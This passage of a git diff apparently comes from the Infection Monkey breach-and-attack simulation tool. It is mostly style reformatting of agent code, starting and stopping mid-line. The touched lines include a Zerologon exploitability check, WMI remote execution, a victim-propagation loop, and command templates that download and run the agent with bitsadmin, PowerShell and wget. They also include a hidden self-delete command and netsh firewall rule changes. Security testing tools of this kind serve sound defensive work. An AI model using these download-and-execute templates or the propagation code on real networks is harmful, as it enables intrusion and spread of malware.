self.__transferClient.getFile(self.__share, self.__output, output_callback) break except Exception as e: if str(e).find("STATUS_SHARING_VIOLATION") >= 0: @@ -166,9 +162,7 @@ def output_callback(data): def execute_remote(self, data): command = self.__shell + data if self.__noOutput is False: - command += ( - " 1> " + "\\\\127.0.0.1\\%s" % self.__share + self.__output + " 2>&1" - ) + command += " 1> " + "\\\\127.0.0.1\\%s" % self.__share + self.__output + " 2>&1" self.__win32Process.Create(command, self.__pwd, None) self.get_output() diff --git a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py index 3470dd39a81..467c41d69f6 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py @@ -23,14 +23,15 @@ def _get_dc_name(dc_ip: str) -> str: """ nb = nmb.NetBIOS.NetBIOS() name = nb.queryIPForName( - ip=dc_ip, - timeout=MEDIUM_REQUEST_TIMEOUT + ip=dc_ip, timeout=MEDIUM_REQUEST_TIMEOUT ) # returns either a list of NetBIOS names or None if name: return name[0] else: - raise DomainControllerNameFetchError("Couldn't get domain controller's name, maybe it's on external network?") + raise DomainControllerNameFetchError( + "Couldn't get domain controller's name, maybe it's on external network?" + ) def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v5]): @@ -44,9 +45,7 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v # Try authenticating. for _ in range(0, zerologon_exploiter_object.MAX_ATTEMPTS): try: - rpc_con_auth_result = _try_zero_authenticate( - zerologon_exploiter_object, rpc_con - ) + rpc_con_auth_result = _try_zero_authenticate(zerologon_exploiter_object, rpc_con) if rpc_con_auth_result is not None: return True, rpc_con_auth_result except Exception as ex: @@ -56,9 +55,7 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v return False, None -def _try_zero_authenticate( - zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5 -) -> rpcrt.DCERPC_v5: +def _try_zero_authenticate(zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5) -> rpcrt.DCERPC_v5: plaintext = b"\x00" * 8 ciphertext = b"\x00" * 8 flags = 0x212FFFFF diff --git a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py index 1beaafdddd3..2486998e4a3 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py @@ -95,9 +95,7 @@ def connect(self): wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login ) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - self.iWbemServices = iWbemLevel1Login.NTLMLogin( - "//./root/cimv2", NULL, NULL - ) + self.iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) iWbemLevel1Login.RemRelease() except (Exception, KeyboardInterrupt) as e: diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 945ccd8cf80..e0c0eef08fd 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -17,29 +17,29 @@ from infection_monkey.monkey import InfectionMonkey from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path -__author__ = 'itamar' +__author__ = "itamar" LOG = None -LOG_CONFIG = {'version': 1, - 'disable_existing_loggers': False, - 'formatters': { - 'standard': { - 'format': - '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s' - }, - }, - 'handlers': {'console': {'class': 'logging.StreamHandler', - 'level': 'DEBUG', - 'formatter': 'standard'}, - 'file': {'class': 'logging.FileHandler', - 'level': 'DEBUG', - 'formatter': 'standard', - 'filename': None} - }, - 'root': {'level': 'DEBUG', - 'handlers': ['console']}, - } +LOG_CONFIG = { + "version": 1, + "disable_existing_loggers": False, + "formatters": { + "standard": { + "format": "%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s" + }, + }, + "handlers": { + "console": {"class": "logging.StreamHandler", "level": "DEBUG", "formatter": "standard"}, + "file": { + "class": "logging.FileHandler", + "level": "DEBUG", + "formatter": "standard", + "filename": None, + }, + }, + "root": {"level": "DEBUG", "handlers": ["console"]}, +} def main(): @@ -56,7 +56,7 @@ def main(): config_file = EXTERNAL_CONFIG_FILE arg_parser = argparse.ArgumentParser() - arg_parser.add_argument('-c', '--config') + arg_parser.add_argument("-c", "--config") opts, monkey_args = arg_parser.parse_known_args(sys.argv[2:]) if opts.config: config_file = opts.config @@ -70,13 +70,22 @@ def main(): except ValueError as e: print("Error loading config: %s, using default" % (e,)) else: - print("Config file wasn't supplied and default path: %s wasn't found, using internal default" % (config_file,)) + print( + "Config file wasn't supplied and default path: %s wasn't found, using internal default" + % (config_file,) + ) - print("Loaded Configuration: %r" % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict())) + print( + "Loaded Configuration: %r" + % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()) + ) # Make sure we're not in a machine that has the kill file - kill_path = os.path.expandvars( - WormConfiguration.kill_file_path_windows) if sys.platform == "win32" else WormConfiguration.kill_file_path_linux + kill_path = ( + os.path.expandvars(WormConfiguration.kill_file_path_windows) + if sys.platform == "win32" + else WormConfiguration.kill_file_path_linux + ) if os.path.exists(kill_path): print("Kill path found, finished run") return True @@ -101,23 +110,24 @@ def main(): os.remove(log_path) except OSError: pass - LOG_CONFIG['handlers']['file']['filename'] = log_path + LOG_CONFIG["handlers"]["file"]["filename"] = log_path # noinspection PyUnresolvedReferences - LOG_CONFIG['root']['handlers'].append('file') + LOG_CONFIG["root"]["handlers"].append("file") else: - del LOG_CONFIG['handlers']['file'] + del LOG_CONFIG["handlers"]["file"] logging.config.dictConfig(LOG_CONFIG) LOG = logging.getLogger() def log_uncaught_exceptions(ex_cls, ex, tb): - LOG.critical(''.join(traceback.format_tb(tb))) - LOG.critical('{0}: {1}'.format(ex_cls, ex)) + LOG.critical("".join(traceback.format_tb(tb))) + LOG.critical("{0}: {1}".format(ex_cls, ex)) sys.excepthook = log_uncaught_exceptions - LOG.info(">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<", - monkey_cls.__name__, os.getpid()) + LOG.info( + ">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<", monkey_cls.__name__, os.getpid() + ) LOG.info(f"version: {get_version()}") @@ -128,9 +138,16 @@ def log_uncaught_exceptions(ex_cls, ex, tb): monkey.start() if WormConfiguration.serialize_config: - with open(config_file, 'w') as config_fo: + with open(config_file, "w") as config_fo: json_dict = WormConfiguration.as_dict() - json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': ')) + json.dump( + json_dict, + config_fo, + skipkeys=True, + sort_keys=True, + indent=4, + separators=(",", ": "), + ) return True except Exception as e: diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 4f3f2c27da7..4f6f8de4abc 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -1,6 +1,6 @@ from infection_monkey.model.host import VictimHost # noqa: F401 -__author__ = 'itamar' +__author__ = "itamar" MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" @@ -8,22 +8,46 @@ # CMD prefix for windows commands CMD_PREFIX = "cmd.exe /c" -DROPPER_CMDLINE_WINDOWS = '%s %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,) -MONKEY_CMDLINE_WINDOWS = '%s %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,) -MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,) -GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' -DROPPER_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,) -MONKEY_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,) -MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s' \ - '&cmd /c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,) -DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & ' \ - 'if not exist %(file_path)s exit)) > NUL 2>&1 ' +DROPPER_CMDLINE_WINDOWS = "%s %%(dropper_path)s %s" % ( + CMD_PREFIX, + DROPPER_ARG, +) +MONKEY_CMDLINE_WINDOWS = "%s %%(monkey_path)s %s" % ( + CMD_PREFIX, + MONKEY_ARG, +) +MONKEY_CMDLINE_LINUX = "./%%(monkey_filename)s %s" % (MONKEY_ARG,) +GENERAL_CMDLINE_LINUX = "(cd %(monkey_directory)s && %(monkey_commandline)s)" +DROPPER_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(dropper_path)s %s" % ( + CMD_PREFIX, + DROPPER_ARG, +) +MONKEY_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(monkey_path)s %s" % ( + CMD_PREFIX, + MONKEY_ARG, +) +MONKEY_CMDLINE_HTTP = ( + '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s' + '&cmd /c %%(monkey_path)s %s"' + % ( + CMD_PREFIX, + MONKEY_ARG, + ) +) +DELAY_DELETE_CMD = ( + "cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & " + "if not exist %(file_path)s exit)) > NUL 2>&1 " +) # Commands used for downloading monkeys -POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \ - "monkey_path)s\' -UseBasicParsing\" " +POWERSHELL_HTTP_UPLOAD = ( + "powershell -NoLogo -Command \"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(" + "monkey_path)s' -UseBasicParsing\" " +) WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" -BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' +BITSADMIN_CMDLINE_HTTP = ( + "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s" +) CHMOD_MONKEY = "chmod +x %(monkey_path)s" RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable @@ -33,13 +57,17 @@ GET_ARCH_LINUX = "lscpu" # All in one commands (upload, change permissions, run) -HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \ - "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \ - " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \ - "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \"" -HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \ - "&& wget -O %(monkey_path)s %(http_path)s " \ - "; chmod +x %(monkey_path)s " \ - "&& %(monkey_path)s %(monkey_type)s %(parameters)s" +HADOOP_WINDOWS_COMMAND = ( + "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " + "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " + " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " + '{& %(monkey_path)s %(monkey_type)s %(parameters)s } "' +) +HADOOP_LINUX_COMMAND = ( + "! [ -f %(monkey_path)s ] " + "&& wget -O %(monkey_path)s %(http_path)s " + "; chmod +x %(monkey_path)s " + "&& %(monkey_path)s %(monkey_type)s %(parameters)s" +) DOWNLOAD_TIMEOUT = 180 diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index d7144610827..68b903d711a 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -1,8 +1,8 @@ -__author__ = 'itamar' +__author__ = "itamar" class VictimHost(object): - def __init__(self, ip_addr, domain_name=''): + def __init__(self, ip_addr, domain_name=""): self.ip_addr = ip_addr self.domain_name = str(domain_name) self.os = {} @@ -41,7 +41,7 @@ def __str__(self): victim += "] Services - [" for k, v in list(self.services.items()): victim += "%s-%s " % (k, v) - victim += '] ICMP: %s ' % (self.icmp) + victim += "] ICMP: %s " % (self.icmp) victim += "target monkey: %s" % self.monkey_exe return victim diff --git a/monkey/infection_monkey/model/victim_host_generator.py b/monkey/infection_monkey/model/victim_host_generator.py index 1e9eba9c2eb..444c4a5ee67 100644 --- a/monkey/infection_monkey/model/victim_host_generator.py +++ b/monkey/infection_monkey/model/victim_host_generator.py @@ -31,7 +31,7 @@ def generate_victims_from_range(self, net_range): for address in net_range: if not self.is_ip_scannable(address): # check if the IP should be skipped continue - if hasattr(net_range, 'domain_name'): + if hasattr(net_range, "domain_name"): victim = VictimHost(address, net_range.domain_name) else: victim = VictimHost(address) diff --git a/monkey/infection_monkey/model/victim_host_generator_test.py b/monkey/infection_monkey/model/victim_host_generator_test.py index 5511680d77d..26ca9935241 100644 --- a/monkey/infection_monkey/model/victim_host_generator_test.py +++ b/monkey/infection_monkey/model/victim_host_generator_test.py @@ -5,17 +5,16 @@ class VictimHostGeneratorTester(TestCase): - def setUp(self): self.cidr_range = CidrRange("10.0.0.0/28", False) # this gives us 15 hosts - self.local_host_range = SingleIpRange('localhost') - self.random_single_ip_range = SingleIpRange('41.50.13.37') + self.local_host_range = SingleIpRange("localhost") + self.random_single_ip_range = SingleIpRange("41.50.13.37") def test_chunking(self): chunk_size = 3 # current test setup is 15+1+1-1 hosts test_ranges = [self.cidr_range, self.local_host_range, self.random_single_ip_range] - generator = VictimHostGenerator(test_ranges, '10.0.0.1', []) + generator = VictimHostGenerator(test_ranges, "10.0.0.1", []) victims = generator.generate_victims(chunk_size) for i in range(5): # quickly check the equally sided chunks self.assertEqual(len(next(victims)), chunk_size) @@ -23,14 +22,14 @@ def test_chunking(self): self.assertEqual(len(victim_chunk_last), 1) def test_remove_blocked_ip(self): - generator = VictimHostGenerator(self.cidr_range, ['10.0.0.1'], []) + generator = VictimHostGenerator(self.cidr_range, ["10.0.0.1"], []) victims = list(generator.generate_victims_from_range(self.cidr_range)) self.assertEqual(len(victims), 14) # 15 minus the 1 we blocked def test_remove_local_ips(self): generator = VictimHostGenerator([], [], []) - generator.local_addresses = ['127.0.0.1'] + generator.local_addresses = ["127.0.0.1"] victims = list(generator.generate_victims_from_range(self.local_host_range)) self.assertEqual(len(victims), 0) # block the local IP @@ -39,9 +38,9 @@ def test_generate_domain_victim(self): generator = VictimHostGenerator([], [], []) # dummy object victims = list(generator.generate_victims_from_range(self.local_host_range)) self.assertEqual(len(victims), 1) - self.assertEqual(victims[0].domain_name, 'localhost') + self.assertEqual(victims[0].domain_name, "localhost") # don't generate for other victims victims = list(generator.generate_victims_from_range(self.random_single_ip_range)) self.assertEqual(len(victims), 1) - self.assertEqual(victims[0].domain_name, '') + self.assertEqual(victims[0].domain_name, "") diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 3a5c5619fa7..d1871da22c4 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -32,13 +32,17 @@ from infection_monkey.telemetry.tunnel_telem import TunnelTelem from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException -from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir +from infection_monkey.utils.monkey_dir import ( + create_monkey_dir, + get_monkey_dir_path, + remove_monkey_dir, +) from infection_monkey.utils.monkey_log_path import get_monkey_log_path from infection_monkey.windows_upgrader import WindowsUpgrader MAX_DEPTH_REACHED_MESSAGE = "Reached max depth, shutting down" -__author__ = 'itamar' +__author__ = "itamar" LOG = logging.getLogger(__name__) @@ -69,11 +73,11 @@ def initialize(self): raise Exception("Another instance of the monkey is already running") arg_parser = argparse.ArgumentParser() - arg_parser.add_argument('-p', '--parent') - arg_parser.add_argument('-t', '--tunnel') - arg_parser.add_argument('-s', '--server') - arg_parser.add_argument('-d', '--depth', type=int) - arg_parser.add_argument('-vp', '--vulnerable-port') + arg_parser.add_argument("-p", "--parent") + arg_parser.add_argument("-t", "--tunnel") + arg_parser.add_argument("-s", "--server") + arg_parser.add_argument("-d", "--depth", type=int) + arg_parser.add_argument("-vp", "--vulnerable-port") self._opts, self._args = arg_parser.parse_known_args(self._args) self.log_arguments() @@ -96,7 +100,9 @@ def initialize(self): LOG.debug("Added default server: %s" % self._default_server) WormConfiguration.command_servers.insert(0, self._default_server) else: - LOG.debug("Default server: %s is already in command servers list" % self._default_server) + LOG.debug( + "Default server: %s is already in command servers list" % self._default_server + ) def start(self): try: @@ -155,8 +161,10 @@ def start(self): if not self._keep_running or not WormConfiguration.alive: break - machines = self._network.get_victim_machines(max_find=WormConfiguration.victims_max_find, - stop_callback=ControlClient.check_for_stop) + machines = self._network.get_victim_machines( + max_find=WormConfiguration.victims_max_find, + stop_callback=ControlClient.check_for_stop, + ) is_empty = True for machine in machines: if ControlClient.check_for_stop(): @@ -164,20 +172,25 @@ def start(self): is_empty = False for finger in self._fingerprint: - LOG.info("Trying to get OS fingerprint from %r with module %s", - machine, finger.__class__.__name__) + LOG.info( + "Trying to get OS fingerprint from %r with module %s", + machine, + finger.__class__.__name__, + ) try: finger.get_host_fingerprint(machine) except BaseException as exc: - LOG.error("Failed to run fingerprinter %s, exception %s" % finger.__class__.__name__, - str(exc)) + LOG.error( + "Failed to run fingerprinter %s, exception %s" + % finger.__class__.__name__, + str(exc), + ) ScanTelem(machine).send() # skip machines that we've already exploited if machine in self._exploited_machines: - LOG.debug("Skipping %r - already exploited", - machine) + LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: @@ -190,25 +203,35 @@ def start(self): monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: if self._network.on_island(self._default_server): - machine.set_default_server(get_interface_to_target(machine.ip_addr) + - (':' + self._default_server_port - if self._default_server_port else '')) + machine.set_default_server( + get_interface_to_target(machine.ip_addr) + + ( + ":" + self._default_server_port + if self._default_server_port + else "" + ) + ) else: machine.set_default_server(self._default_server) - LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) + LOG.debug( + "Default server for machine: %r set to %s" + % (machine, machine.default_server) + ) # Order exploits according to their type - self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) + self._exploiters = sorted( + self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value + ) host_exploited = False for exploiter in [exploiter(machine) for exploiter in self._exploiters]: if self.try_exploiting(machine, exploiter): host_exploited = True - VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send() + VictimHostTelem("T1210", ScanStatus.USED, machine=machine).send() if exploiter.RUNS_AGENT_ON_SUCCESS: break # if adding machine to exploited, won't try other exploits on it if not host_exploited: self._fail_exploitation_machines.add(machine) - VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send() + VictimHostTelem("T1210", ScanStatus.SCANNED, machine=machine).send() if not self._keep_running: break @@ -226,7 +249,9 @@ def start(self): # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time - LOG.info("Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) + LOG.info( + "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep + ) time.sleep(time_to_sleep) if monkey_tunnel: @@ -236,7 +261,9 @@ def start(self): post_breach_phase.join() except PlannedShutdownException: - LOG.info("A planned shutdown of the Monkey occurred. Logging the reason and finishing execution.") + LOG.info( + "A planned shutdown of the Monkey occurred. Logging the reason and finishing execution." + ) LOG.exception("Planned shutdown, reason:") def start_post_breach_phase(self): @@ -279,7 +306,9 @@ def cleanup(self): InfectionMonkey.close_tunnel() firewall.close() else: - StateTelem(is_done=True, version=get_version()).send() # Signal the server (before closing the tunnel) + StateTelem( + is_done=True, version=get_version() + ).send() # Signal the server (before closing the tunnel) InfectionMonkey.close_tunnel() firewall.close() if WormConfiguration.send_log_to_server: @@ -291,7 +320,9 @@ def cleanup(self): @staticmethod def close_tunnel(): - tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0] + tunnel_address = ( + ControlClient.proxies.get("https", "").replace("https://", "").split(":")[0] + ) if tunnel_address: LOG.info("Quitting tunnel %s", tunnel_address) tunnel.quit_tunnel(tunnel_address) @@ -301,18 +332,23 @@ def self_delete(): status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED T1107Telem(status, get_monkey_dir_path()).send() - if WormConfiguration.self_delete_in_cleanup \ - and -1 == sys.executable.find('python'): + if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find("python"): try: status = None if "win32" == sys.platform: from subprocess import CREATE_NEW_CONSOLE, STARTF_USESHOWWINDOW, SW_HIDE + startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW startupinfo.wShowWindow = SW_HIDE - subprocess.Popen(DELAY_DELETE_CMD % {'file_path': sys.executable}, - stdin=None, stdout=None, stderr=None, - close_fds=True, startupinfo=startupinfo) + subprocess.Popen( + DELAY_DELETE_CMD % {"file_path": sys.executable}, + stdin=None, + stdout=None, + stderr=None, + close_fds=True, + startupinfo=startupinfo, + ) else: os.remove(sys.executable) status = ScanStatus.USED @@ -325,10 +361,10 @@ def self_delete(): def send_log(self): monkey_log_path = get_monkey_log_path() if os.path.exists(monkey_log_path): - with open(monkey_log_path, 'r') as f: + with open(monkey_log_path, "r") as f: log = f.read() else: - log = '' + log = "" ControlClient.send_log(log) @@ -340,8 +376,12 @@ def try_exploiting(self, machine, exploiter): :return: True if successfully exploited, False otherwise """ if not exploiter.is_os_supported(): - LOG.info("Skipping exploiter %s host:%r, os %s is not supported", - exploiter.__class__.__name__, machine, machine.os) + LOG.info( + "Skipping exploiter %s host:%r, os %s is not supported", + exploiter.__class__.__name__, + machine, + machine.os, + ) return False LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) @@ -353,17 +393,32 @@ def try_exploiting(self, machine, exploiter): self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) return True else: - LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) + LOG.info( + "Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__ + ) except ExploitingVulnerableMachineError as exc: - LOG.error("Exception while attacking %s using %s: %s", - machine, exploiter.__class__.__name__, exc) + LOG.error( + "Exception while attacking %s using %s: %s", + machine, + exploiter.__class__.__name__, + exc, + ) self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) return True except FailedExploitationError as e: - LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e) + LOG.info( + "Failed exploiting %r with exploiter %s, %s", + machine, + exploiter.__class__.__name__, + e, + ) except Exception as exc: - LOG.exception("Exception while attacking %s using %s: %s", - machine, exploiter.__class__.__name__, exc) + LOG.exception( + "Exception while attacking %s using %s: %s", + machine, + exploiter.__class__.__name__, + exc, + ) finally: exploiter.send_exploit_telemetry(result) return False @@ -377,8 +432,7 @@ def successfully_exploited(self, machine, exploiter, RUNS_AGENT_ON_SUCCESS=True) if RUNS_AGENT_ON_SUCCESS: self._exploited_machines.add(machine) - LOG.info("Successfully propagated to %s using %s", - machine, exploiter.__class__.__name__) + LOG.info("Successfully propagated to %s using %s", machine, exploiter.__class__.__name__) # check if max-exploitation limit is reached if WormConfiguration.victims_max_exploit <= len(self._exploited_machines): @@ -388,9 +442,9 @@ def successfully_exploited(self, machine, exploiter, RUNS_AGENT_ON_SUCCESS=True) def set_default_port(self): try: - self._default_server_port = self._default_server.split(':')[1] + self._default_server_port = self._default_server.split(":")[1] except KeyError: - self._default_server_port = '' + self._default_server_port = "" def set_default_server(self): """ @@ -399,7 +453,8 @@ def set_default_server(self): """ if not ControlClient.find_server(default_tunnel=self._default_tunnel): raise PlannedShutdownException( - "Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel)) + "Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel) + ) self._default_server = WormConfiguration.current_server LOG.debug("default server set to: %s" % self._default_server) diff --git a/monkey/infection_monkey/monkeyfs.py b/monkey/infection_monkey/monkeyfs.py index 2d14156b349..31b2e600756 100644 --- a/monkey/infection_monkey/monkeyfs.py +++ b/monkey/infection_monkey/monkeyfs.py @@ -1,9 +1,9 @@ import os from io import BytesIO -__author__ = 'hoffer' +__author__ = "hoffer" -MONKEYFS_PREFIX = 'monkeyfs://' +MONKEYFS_PREFIX = "monkeyfs://" open_orig = open @@ -11,7 +11,7 @@ class VirtualFile(BytesIO): _vfs = {} # virtual File-System - def __init__(self, name, mode='r', buffering=None): + def __init__(self, name, mode="r", buffering=None): if not name.startswith(MONKEYFS_PREFIX): name = MONKEYFS_PREFIX + name self.name = name @@ -53,7 +53,7 @@ def virtual_path(name): # noinspection PyShadowingBuiltins -def open(name, mode='r', buffering=-1): +def open(name, mode="r", buffering=-1): # use normal open for regular paths, and our "virtual" open for monkeyfs:// paths if name.startswith(MONKEYFS_PREFIX): return VirtualFile(name, mode, buffering) diff --git a/monkey/infection_monkey/network/HostFinger.py b/monkey/infection_monkey/network/HostFinger.py index b48c0111162..0ff0cb8e04f 100644 --- a/monkey/infection_monkey/network/HostFinger.py +++ b/monkey/infection_monkey/network/HostFinger.py @@ -21,8 +21,8 @@ def _SCANNED_SERVICE(self): def init_service(self, services, service_key, port): services[service_key] = {} - services[service_key]['display_name'] = self._SCANNED_SERVICE - services[service_key]['port'] = port + services[service_key]["display_name"] = self._SCANNED_SERVICE + services[service_key]["port"] = port @abstractmethod def get_host_fingerprint(self, host): diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py index 05a457b0cee..9d07487292d 100644 --- a/monkey/infection_monkey/network/__init__.py +++ b/monkey/infection_monkey/network/__init__.py @@ -1 +1 @@ -__author__ = 'itamar' +__author__ = "itamar" diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py index e7a60be1761..e7e2518b6ba 100644 --- a/monkey/infection_monkey/network/elasticfinger.py +++ b/monkey/infection_monkey/network/elasticfinger.py @@ -12,14 +12,15 @@ ES_PORT = 9200 ES_HTTP_TIMEOUT = 5 LOG = logging.getLogger(__name__) -__author__ = 'danielg' +__author__ = "danielg" class ElasticFinger(HostFinger): """ - Fingerprints elastic search clusters, only on port 9200 + Fingerprints elastic search clusters, only on port 9200 """ - _SCANNED_SERVICE = 'Elastic search' + + _SCANNED_SERVICE = "Elastic search" def __init__(self): self._config = infection_monkey.config.WormConfiguration @@ -31,13 +32,13 @@ def get_host_fingerprint(self, host): :return: Success/failure, data is saved in the host struct """ try: - url = 'http://%s:%s/' % (host.ip_addr, ES_PORT) + url = "http://%s:%s/" % (host.ip_addr, ES_PORT) with closing(requests.get(url, timeout=ES_HTTP_TIMEOUT)) as req: data = json.loads(req.text) self.init_service(host.services, ES_SERVICE, ES_PORT) - host.services[ES_SERVICE]['cluster_name'] = data['cluster_name'] - host.services[ES_SERVICE]['name'] = data['name'] - host.services[ES_SERVICE]['version'] = data['version']['number'] + host.services[ES_SERVICE]["cluster_name"] = data["cluster_name"] + host.services[ES_SERVICE]["name"] = data["name"] + host.services[ES_SERVICE]["version"] = data["version"]["number"] return True except Timeout: LOG.debug("Got timeout while trying to read header information") diff --git a/monkey/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py index f66bea7f4e5..cddba49fe03 100644 --- a/monkey/infection_monkey/network/firewall.py +++ b/monkey/infection_monkey/network/firewall.py @@ -4,9 +4,15 @@ def _run_netsh_cmd(command, args): - cmd = subprocess.Popen("netsh %s %s" % (command, " ".join(['%s="%s"' % (key, value) for key, value in list(args.items()) - if value])), stdout=subprocess.PIPE) - return cmd.stdout.read().strip().lower().endswith('ok.') + cmd = subprocess.Popen( + "netsh %s %s" + % ( + command, + " ".join(['%s="%s"' % (key, value) for key, value in list(args.items()) if value]), + ), + stdout=subprocess.PIPE, + ) + return cmd.stdout.read().strip().lower().endswith("ok.") class FirewallApp(object): @@ -38,25 +44,24 @@ def __init__(self): def is_enabled(self): try: - cmd = subprocess.Popen('netsh advfirewall show currentprofile', stdout=subprocess.PIPE) + cmd = subprocess.Popen("netsh advfirewall show currentprofile", stdout=subprocess.PIPE) out = cmd.stdout.readlines() for line in out: - if line.startswith('State'): + if line.startswith("State"): state = line.split()[-1].strip() return state == "ON" except Exception: return None - def add_firewall_rule(self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs): - netsh_args = {'name': name, - 'dir': direction, - 'action': action, - 'program': program} + def add_firewall_rule( + self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs + ): + netsh_args = {"name": name, "dir": direction, "action": action, "program": program} netsh_args.update(kwargs) try: - if _run_netsh_cmd('advfirewall firewall add rule', netsh_args): + if _run_netsh_cmd("advfirewall firewall add rule", netsh_args): self._rules[name] = netsh_args return True else: @@ -65,11 +70,11 @@ def add_firewall_rule(self, name="Firewall", direction="in", action="allow", pro return None def 